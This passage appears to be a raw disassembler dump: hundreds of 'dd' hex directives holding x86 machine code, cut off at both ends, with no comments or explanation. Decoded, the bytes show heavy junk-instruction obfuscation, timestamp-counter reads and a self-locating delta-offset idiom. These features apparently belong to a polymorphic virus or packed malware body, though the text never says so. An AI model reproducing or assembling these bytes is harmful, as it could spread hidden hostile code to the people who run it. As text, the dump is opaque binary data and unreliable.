0F485C78Ch, 5E7BDh, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 37E3C356h, 0F0B3D3F8h, 8959D8Dh, 6A05E4h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 2381EEC3h, 0FFFFFEFFh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0D3C35141h, 0C418D14Fh, 14E9h, 0F7827100h dd 70A5FED7h, 355E596Ah, 63C5AF24h, 71D07543h, 0DB8C66BDh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 79C35747h dd 0EE8C8h, 69880000h, 508C00AAh, 0E34AF79Fh, 97554CCCh dd 559531h, 295F05E4h, 0E422B9BDh, 4C3F605h, 41840Fh, 95FF0000h dd 5E41139h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 0B6C35646h, 9439751h, 0D1BD8B26h, 8905E40Dh, 0E42D418Dh dd 0BF665005h, 489636Dh, 75B58B24h, 0E905E400h, 44Eh, 137D8529h dd 0B005E4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 15C35545h, 57B3C8F2h, 0BD8BD2FCh, 5E41AC5h, 92EF8166h dd 0F970E6A7h, 11E971E4h, 0E3000000h, 0E8754B7Eh, 1F782518h dd 2B4B041Eh, 6883D037h, 6AD8B60Fh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0BAE7C355h dd 6, 2CDD9589h, 0C38B05E4h, 21B58Bh, 0E8C105E4h, 0F98B6604h dd 1111BD8Bh, 0F76605E4h, 50006AE2h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0D1754A99h dd 4CB49D86h, 800F6D3Dh, 1, 6AD82BFCh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 6437C357h dd 0B12CFC39h, 555DA92Ah, 48D0FF8h, 66000000h, 507D77BFh dd 1A1E8BEh, 241C8977h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 9DC35141h, 0FFF5CCD2h, 0E40D05B5h, 95FFF805h dd 5E410C1h, 2E759589h, 0F86005E4h, 61FB8B66h, 6A00B0h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 17E79C3h, 669B4188h, 66B99CBEh, 0E65460BFh, 56006A70h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 93E758C9h, 31852360h, 8905E414h, 0E41B098Dh, 71E46105h dd 42E78166h, 613CF5CEh, 2B4830Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0DD6E47C3h dd 0F706A9C5h, 0F90C27Bh, 4BBED8B6h, 0BA72C6A2h, 6, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 1EC35747h, 0DACEC152h dd 26BF537Ch, 5F75B16Ch, 810FC38Bh, 0Ah, 295F5760h, 0E420E185h dd 0E8C16105h, 19953104h, 6605E41Dh, 6AE2F7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0BE7153C3h dd 699D31A0h, 2B05E424h, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 91548D64h, 2675BD89h dd 958905E4h, 5E41335h, 50006A58h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 3F954C8Ch, 96DDD959h dd 0BE9EBh, 30680000h, 0EE3B8BCCh, 0D115117Fh, 0FD82B26h dd 1AD88h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 94AB6C46h, 0A47C0A5Eh, 0BF662BC7h dd 880FF77Dh, 0 aF_3 db 'f╬цр╧',7,0 align 4 dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 8BDA8EE9h, 0E4100DB5h, 0C18305h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 98C35343h, 0BD8B0839h dd 5E43295h, 860FD93Bh, 122h, 13E8h, 9BCC2000h, 8595C52h dd 1ED1BD76h, 0A6A51C86h, 1BF72625h, 1CDDBD31h, 0F95F05E4h dd 6AD98C66h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0D873C353h, 0B0467390h, 53206D6Ch dd 0CDB53360h, 0E805E400h, 5, 5532B6EEh, 5F615F9Dh, 0F04C1F6h dd 0B984h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 9AF2DFF6h, 3995FFF1h, 5B05E411h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0ADC35646h dd 6E8h, 0F6247600h, 5EF66F47h, 1C7DB58Bh, 0C32B05E4h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 2DC35242h dd 0D9EC8F7h, 175899C5h, 7B9BD33h, 343D05E4h, 0F000008h dd 2D86h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 8DB58BB6h, 0E905E42Ah, 0Ah, 1498529h dd 0C08B05E4h, 0C38BF38Bh, 6AD88Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 546065C3h dd 0F8BF0F5Ah, 152585C7h, 9DF105E4h, 0BD8B3E5Eh, 5E42551h dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 29C7C4C3h, 0E42AA59Dh, 5BD8105h, 0D005E40Dh dd 0F000007h, 3485h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0FF87F732h, 0DC1D4981h dd 810F5Ch, 0FF000000h, 0E40D0585h, 5BE6605h, 5B5FFEEh dd 6A05E40Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0BAAAC355h, 97BF95CCh, 1481B0D1h dd 10C195FFh, 6A05E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 3E4A28C3h, 6D2E3F74h, 6640907Ah dd 0BD83F18Bh, 5E42671h, 0CF840F00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 235CC350h, 8B86F233h, 0E40D21B5h, 0DDBD8305h, 5E430h dd 9C840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0D35230C3h, 730D342Dh, 495EBE66h dd 267195FFh, 0CF8105E4h, 7725AFBCh, 840FC00Bh, 62h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0FBC35646h, 29392BA5h dd 58D0E6F1h, 4C308D8Dh, 816605E4h, 0B84068F7h, 5, 5CEFF781h dd 0E1FF660Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 79C35343h, 2D4971C4h, 5A82BFC2h, 0BD830AF4h, 5E41209h dd 7F840F00h, 0E8000005h, 9, 27192C24h, 0A37C97C4h, 6E96041h dd 3E000000h, 80272561h, 0EE9B2h, 71A50000h, 0C5078B78h dd 74168A4Bh, 0A46055D7h, 0BD835E61h, 5E430DDh, 43840F00h dd 6A000005h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 81D1C350h, 7DB58B2Bh, 8D05E420h dd 0E409098Dh, 0F1BF0F05h, 7C8401C7h, 6A44B2h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0CDF93DC3h, 0DCCDEDB0h, 181F96Ch, 1499CFCBh, 800Fh dd 41C70000h, 706B3404h, 44181CEh, 31D6D710h, 7E951h, 928D0000h dd 0EE494035h, 6A5EDDh, 4A3FDF81h, 858D6F5Ch, 5E40909h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 1FC35242h dd 0CF816619h, 85294DC1h, 5E42425h, 73F2BE50h, 48975A5h dd 0C9858924h, 0FF05E42Ah, 0E4120995h, 11E905h, 34100000h dd 0FC95B346h, 0DA6B19E8h, 89EF6937h, 8DED5B64h, 0E409098Dh dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 89FA9BB4h, 0E4028DBDh, 1C705h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0FF7C355h, 9D89FEB7h, 5E41765h, 441C7h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 176EC357h, 507A1729h, 840FC00Bh, 5Fh, 4F98589h dd 8D8D05E4h, 5E44C30h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 80C35545h, 432EFDB2h, 23EE1A56h, 0E41665BDh dd 5B805h, 0B58B0000h, 5E40D29h, 10498D89h, 0E1FF05E4h dd 0BE960h, 24C40000h, 188F95DCh, 0B15EFD22h, 0D2816624h dd 8D611A86h, 0E409098Dh, 0AE805h, 1BEA0000h, 0DA0BDC52h dd 35DB9D57h, 2701BD89h, 0C75E05E4h, 0AA727C01h, 53006A44h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 6B3BF6B0h, 0E15668ECh, 118D899Fh, 8105E432h, 99CFCB01h dd 10E95314h, 25000000h, 0EA8CB289h, 0E52EA72Ch, 17644588h dd 5E3423CFh, 17E5BD8Bh, 41C705E4h, 78753C04h, 50006ACEh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 1DB6E394h, 5C7EE93h, 4418171h, 31D6D710h, 0AB70BE66h dd 12E9h, 64A6E200h, 1AD5467Eh, 0B8CBC42Bh, 0FE144D2Ch dd 6A33C244h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0A66C33A5h, 9529E45Eh, 5E40CCDh dd 2B1B58Bh, 858D05E4h, 5E40909h, 6870Fh, 0BD890000h, 5E420E1h dd 0FB8B6690h, 0EE850h, 20D70000h, 4580902Fh, 16A482Ch dd 0C6D0D4FCh, 6E9h, 2B404700h, 5F285F4Ah, 51006A90h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 207635C0h, 95FFFD94h, 5E41209h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 17C35646h, 26C7F997h, 3506001h dd 9098D8Dh, 1C705E4h, 0 dd 313DBD8Bh, 41C705E4h, 4, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 66DA1897h dd 0C00BFE8Bh, 33840Fh, 8B600000h, 0E41345BDh, 8D8D6105h dd 5E44C30h, 5B8h, 0DF816600h, 0E1FFB45Fh, 14E9h, 94790500h dd 1FB37044h, 0C90613E3h, 340D87B5h, 0F4E831ADh, 98D8D40h dd 6A05E409h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0C509C355h, 2056195Dh, 8BC361B4h dd 0E40149BDh, 0A501C705h, 8954CA95h, 0E41B8D9Dh, 0CB018105h dd 661499CFh, 41C7F98Bh, 5F596904h, 6E8CEh, 52B80000h dd 5BA5ABEBh, 441815Eh, 31D6D710h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 77C35545h, 4F0DD866h, 0BF0F96EBh dd 52006AFBh, 5E616052h, 9858D5Eh, 9005E409h, 8B665250h dd 0BE310FF9h, 262B46CDh, 9050585Ah, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0B4C35040h, 0CC391406h, 0D485A922h dd 0DFBE663Bh, 800F18h, 0FF000000h, 0E4120995h, 7FBE6605h dd 98D8D40h, 6A05E409h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 8275C352h, 113F9DD3h dd 1C7h, 8E0F0000h, 0 dd 441C7h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0CA21C356h, 669C3CBBh, 0BD69F781h dd 840FC00Bh, 5Ah, 8DF3B70Fh, 0E44C308Dh, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0FEB5D6D7h, 0FDC5E9FBh, 0BD8B9657h, 5E42D15h, 5B8h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0FE1FFFAh, 0CA03F3B7h, 0FFF221E9h, 1B58BFFh dd 0F05E428h, 0DE81F1B7h, 59DEAE32h, 6AC18Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 867031C3h dd 0CB2ACB0Eh, 8BF78BB6h, 0E407C9B5h, 4EB05h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 72D9C352h, 4B53415h, 51B52358h, 5105E40Dh dd 2CA19D29h, 0E85E05E4h, 5, 0F07685A3h, 0C5B53347h, 5E05E42Ch dd 19D5858Dh, 6A05E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 8166D5C3h, 90F9EAF6h, 905E5250h dd 8589006Ah, 5E420EDh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 750FBFC3h, 0A7B39804h dd 61B5237Fh, 0BE05E41Dh, 145C3532h, 0D073858Dh, 6A05E7h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0AB2206C3h, 0AE8h, 0FB36F600h, 28350AE1h, 8913F7AEh dd 0E411D9B5h, 0C0835E05h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 338FB6F5h dd 0D5D5233Eh, 7810FB7h, 52000000h, 6B205BEh, 89505E5Bh dd 0B58B2404h, 5E41195h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 236B10C3h, 0A98D31B0h dd 8905E413h, 0E41DC18Dh, 0E9006A05h, 0Ch, 207CA66Ah, 0AEC3479Ah dd 745B2D98h, 21A195FFh, 0BD8905E4h, 5E40F81h, 2BA9B52Bh dd 9D8D05E4h, 5E79E7Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0BCC35646h, 75231EE4h, 6E9h, 368D5E00h dd 0FFF1D2C0h, 53006AD3h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 5334CBA0h, 68D0Fh, 9D890000h dd 5E42425h, 142D85FFh, 6A05E4h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0B58BE1C3h, 5E40031h dd 0A27E9h, 0E800h, 815D0000h, 0E7D07DEDh, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 8C8EC367h, 41E4C5E6h, 0B58B995Fh, 5E42711h, 0D05BD81h dd 7D005E4h, 860F0000h, 17Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 31C35242h, 5E8h, 526D3600h dd 8B52364Eh, 8B5E5EF7h, 0E417359Dh, 0C1B52305h, 8105E42Dh dd 100E3h, 2EBE6600h, 0FDB0B7Bh, 0AB85h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 7EEB9789h, 77EB7E83h, 5E9F9h, 0D69B0000h, 83B661D1h dd 0E7CE7ABDh, 840F0005h, 0Bh, 9CE9h, 45B52300h, 0C705E420h dd 0E7CE7A85h, 105h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0CE7F25A9h, 67E9E8h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0E8DD48C3h, 9, 0EFF2B25Fh, 76588218h, 5F51604Dh, 31198D8Bh dd 5E6105E4h, 0CE7A85C7h, 5E7h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 42B736C3h dd 66E4C4A6h, 0EFE68166h, 359D8DB0h, 6A05E417h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 4859C356h, 89465A91h, 0B1F6811Dh, 817B339Ch, 0FFFEFF23h dd 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0F1B58943h, 6605E424h, 6ADB8Ch, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 580AD2C3h, 387EFEEEh, 0ADB58B37h, 6605E422h, 0F62FDEBEh dd 840F04C3h, 64h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 19C35747h, 85671DBh, 0D21DC681h, 95FF5D97h dd 5E41139h, 2F1B503h, 895005E4h, 6A2404h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 5DCC62C3h dd 991CBA5Ah, 810Fh, 8C0F0000h, 0 dd 43BE9h, 0B0F28B00h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 758D29CDh, 0E605E400h dd 57006A70h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 71E4207Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0DDC35141h, 0B58BA7ABh, 5E424C5h, 6AD8B60Fh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0AFFFC356h, 6D4DA76h, 153DB58Bh, 6BA05E4h dd 89000000h, 0E41C718Dh, 0E8C38B05h, 10h, 77873FE3h, 0C1997C75h dd 2F7387CBh, 3F4B582Dh, 2175B58Bh, 0C15E05E4h, 60F804E8h dd 31AD8D89h, 0BE805E4h, 0EF000000h, 0F0DEBC1Ch, 0B3E37Fh dd 0D18B737Fh, 0F766615Bh, 52006AE2h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 1BBEEBABh dd 0F6C81D4h, 0D82BF6B7h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 6EC35141h, 0DF157FD2h, 9BA7CFDBh, 10E8h dd 0BEE62700h, 0B780124Fh, 717CC5Ch, 9AD8CD11h, 81665E4Fh dd 93642DCEh, 52505250h, 8E9h, 0E1CB9B00h, 8F94FA7Ah, 0E8310F21h dd 5, 473FA352h, 585A5E6Eh, 8B66310Fh, 50585AF2h, 6A93F28Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 9B0CC357h, 8DFFA392h, 5E8h, 6E8A5300h, 0B52906EAh dd 5E41D99h, 6D85895Eh, 0FF05E42Eh, 0E40D05B5h, 0C195FF05h dd 8105E410h, 0E54B6FC6h, 6A00B06Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 4F42C352h dd 7F8448F6h, 8B39B6D7h, 0BE70E6F1h, 7DD4A790h, 6A71E4h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0AA461C3h, 0FA184FAh, 581h, 0CE816600h, 0D6BEA6D4h dd 3C6DF8F9h, 15830F61h, 6A000002h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 615CC352h dd 0B60FF5DBh, 0B4B960D8h, 610C69F9h, 6BAh, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 7656E725h, 0AFDB683h, 0B52B3E59h, 5E41D75h, 6AC38Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0BFD70EC3h, 85AE46B9h, 16A5B52Bh, 0E8C105E4h, 55006A04h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 12E9D5h, 586C0000h, 0CE4D0EB0h, 0F54E830Eh, 22D4C6CEh dd 208DF821h, 9E8h, 40B71400h, 0A64F72BBh, 29518A4Fh, 0E421ADB5h dd 665E5E05h, 8B66E2F7h, 58D82BF2h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0B6C35242h, 0EA1618E3h, 0AAA83F9Eh dd 5880FD9h, 0BE000000h, 7E64BA65h, 880FD82Bh, 104h, 7B9h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 0E850D87Ah, 5, 18F744Eh, 835E5E2Fh, 7E900C1h dd 3F000000h, 1FF4F5ACh, 0D93B313Ah, 0BE860Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 92CE09C3h, 0C9B58B38h, 6605E414h, 810FF28Bh, 14h, 9E860h dd 2E2B0000h, 368D5EA1h, 5AF1D2C0h, 61F3B70Fh, 89D98C66h dd 0E424719Dh, 4C1F605h, 63840Fh, 0F38B0000h, 113995FFh dd 0E95B05E4h, 0Fh, 30B78440h, 2A5D9C45h, 3263FE6Dh, 2BDC4400h dd 19BD89C3h, 3D05E417h, 834h, 33860Fh, 9D090000h, 5E41969h dd 2FE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 17CBD23h, 8BFB761Eh, 0E42D01B5h dd 0BEC08B05h, 1CC4D328h, 0D88BC38Bh, 9E9h, 717E6900h dd 96037DE3h, 85C71941h, 5E40895h, 51165B1Bh, 75850360h dd 0BB05E400h, 22A547B1h, 0FC08B61h, 0B80h, 5890F00h, 0BE000000h dd 7ABB1708h, 0D05BD81h, 7D005E4h, 850F0000h, 29h, 0D0585FFh dd 6A05E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 0B9631BC3h, 94F7B62h, 5B5FF4Ah, 6A05E40Dh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 119AC357h, 0F843FEAh, 687h, 0C5B50300h, 5105E40Ch dd 2D7DB529h, 0FF5E05E4h, 0E410C195h, 50006A05h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0BAA2C674h, 89D0FD14h, 0F99CC681h, 8B900A53h, 56006AD8h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 66DA2821h, 0BE66F18Bh, 0BD83393Ah, 5E42265h, 11840F00h dd 1000000h, 0E424E18Dh, 242E905h, 0D6810000h, 0FE0E198h dd 0B501DF8Ch, 5E403C9h, 4C7F766h, 29850F00h, 6A000002h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 2FD6C353h, 0FEB068F6h, 0BD892FC8h, 5E41789h dd 0BFh, 0F6BF0F00h, 0DA339D8Dh, 6A05E7h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 62B562C3h dd 9D04981Fh, 8B9CE5BAh, 0E42B7DB5h, 52509305h, 52EFBE66h dd 8B66310Fh, 50585AF3h, 13E9h, 0B314B000h, 0C4A39163h dd 0A1E90F03h, 9AF91047h, 0F1ABF736h, 8E95193h, 5000000h dd 48FF7885h, 5EC18147h, 35FF64h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0E582C357h, 0B70F9614h, 0E9BD29F3h, 6405E41Ch, 2589h dd 0B58B0000h, 5E42ADDh, 6AC48Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0A7AA96C3h, 9E8C98Ch dd 5B000000h, 0A1BB256Dh, 3779A661h, 0FD5B58Bh, 665E05E4h dd 2D24CE81h, 0EB01CDh, 6840Fh, 85010000h, 5E42725h, 1A69B58Bh dd 0B58B05E4h, 5E429A1h, 1E15B58Bh, 8F6405E4h, 5, 4C48300h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 6EC35040h dd 0FC00B59h, 0C784h, 0B8B0F00h, 0E9000000h, 6, 35D3FAD3h dd 0BD8DDF07h, 5E44C30h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0C0C35343h, 3497ACC1h, 0E861C18Fh, 9 dd 22A780A2h, 54680A82h, 0B5B52382h, 5E05E42Ch, 6840Fh dd 0DE810000h, 43DCCDD3h, 5B8h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0BA2DF1FEh dd 0F28BE7FFh, 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h dd 0B08389C8h, 83000000h, 0B883h, 335F0200h, 6AC3C0h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0BED8D1C3h, 6AC423CEh, 0FAE9CA2Bh, 6AFFFFF5h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 0E7B6C351h, 4FC3B651h, 5E9C18Bh, 0DD000000h, 0ABA71F97h dd 4EBh, 0BD8B0000h, 5E41BF9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 4C35747h, 9E8CCBFh dd 89571B6Dh, 0E4252D8Dh, 0B5235E05h, 5E40CD5h, 19D5858Dh dd 90F905E4h, 50F18B66h, 0AE9h, 0D7710A00h, 0D8414788h dd 904B1D9Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 0C4C35646h, 0A1E90F03h, 0A1BD8B47h, 6A05E42Ch dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 10303C2Fh, 56C01A68h, 71BD09C9h, 6A05E420h dd 6880F00h, 89000000h, 0E40131BDh, 79858D05h, 0E905E7DCh dd 5, 7FB0CFAEh, 5C083A3h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0C4C35646h, 28619D89h, 669005E4h, 0F50FA8Bh dd 1684h, 0E9525000h, 0Bh, 0A56AC49Ch, 972A1F24h, 0FF72792h dd 90585A31h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0C1C35141h, 8B660FEAh, 81006AFEh, 0F0E3E9E6h, 0F5006A66h dd 21A195FFh, 6A05E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 56EE20C3h, 9D8D92DFh, 5E79E7Fh dd 2CA1BD89h, 0D3FF05E4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0EC35343h, 0B1408D98h, 61B58996h, 8B05E41Ch dd 0E42369B5h, 2D85FF05h, 6A05E414h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 6657C356h dd 0FD1ACF38h, 0EB33186h, 29919529h, 0C4E905E4h, 0E8000007h dd 0 dd 83ED815Dh, 6A05E7DCh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 66BFC351h, 0BED0E10h dd 815F5115h, 0E40D05BDh, 7D005h, 69860F00h, 6A000001h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 0E6FCC350h, 0EE88EB5h, 0DE000000h, 683B7D8Bh dd 71975F9Fh, 527555DAh, 27BF6666h, 0E9525E89h, 6, 0CB597134h dd 8B5F25FFh, 0E410E19Dh, 1D8D3105h, 8105E41Bh, 100E3h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 0F463688Fh, 5DD9D91Dh, 98C0Fh, 66600000h dd 0BE66DA8Bh, 0B61A2A9h, 0A7850FDBh, 0E8000000h, 7, 4A6E2A64h dd 0FCBC704h, 280h, 5EF28B00h, 0DAADBD83h, 0F0005E7h, 3784h dd 41B50900h, 3105E41Ah, 0E421D1BDh, 93E905h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 66E6AFC3h, 8509FB8Bh, 5E430C9h, 0DAAD85C7h, 105E7h dd 85890000h, 5E41D95h, 58E9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0A34F42Ch dd 6820Fh, 0B58B0000h, 5E41075h, 81BD8960h, 8905E422h dd 0E409959Dh, 85C76105h, 5E7DAADh, 0 dd 8E960h, 34170000h, 70A0900Fh, 0B58BD79Fh, 5E4137Dh dd 0E19D8D61h, 8B05E410h, 0FF2381FAh, 0BFFFFFFEh, 4C1D4BF3h dd 0F6DB8C66h, 840F04C3h, 54h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0F5C35141h, 0CE9C6CEh, 0F5000000h dd 0D521495Dh, 0D88ACDDBh, 0FFD11621h, 0E4113995h, 0C76FBF05h dd 8B661857h, 0F5750F8h, 686h, 8F0F00h, 5F000000h, 66240489h dd 3592C781h, 3B2E9h, 8900B000h, 0E404C9B5h, 6A70E605h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 0F85AC355h, 0AC72869Ch, 8589BB1Eh, 5E4045Dh dd 298DB58Bh, 71E405E4h, 13D58589h, 0B70F05E4h, 0D8B60FF7h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0CC35141h dd 0D0F64717h, 6BA08h, 6A0000h, 3E857h, 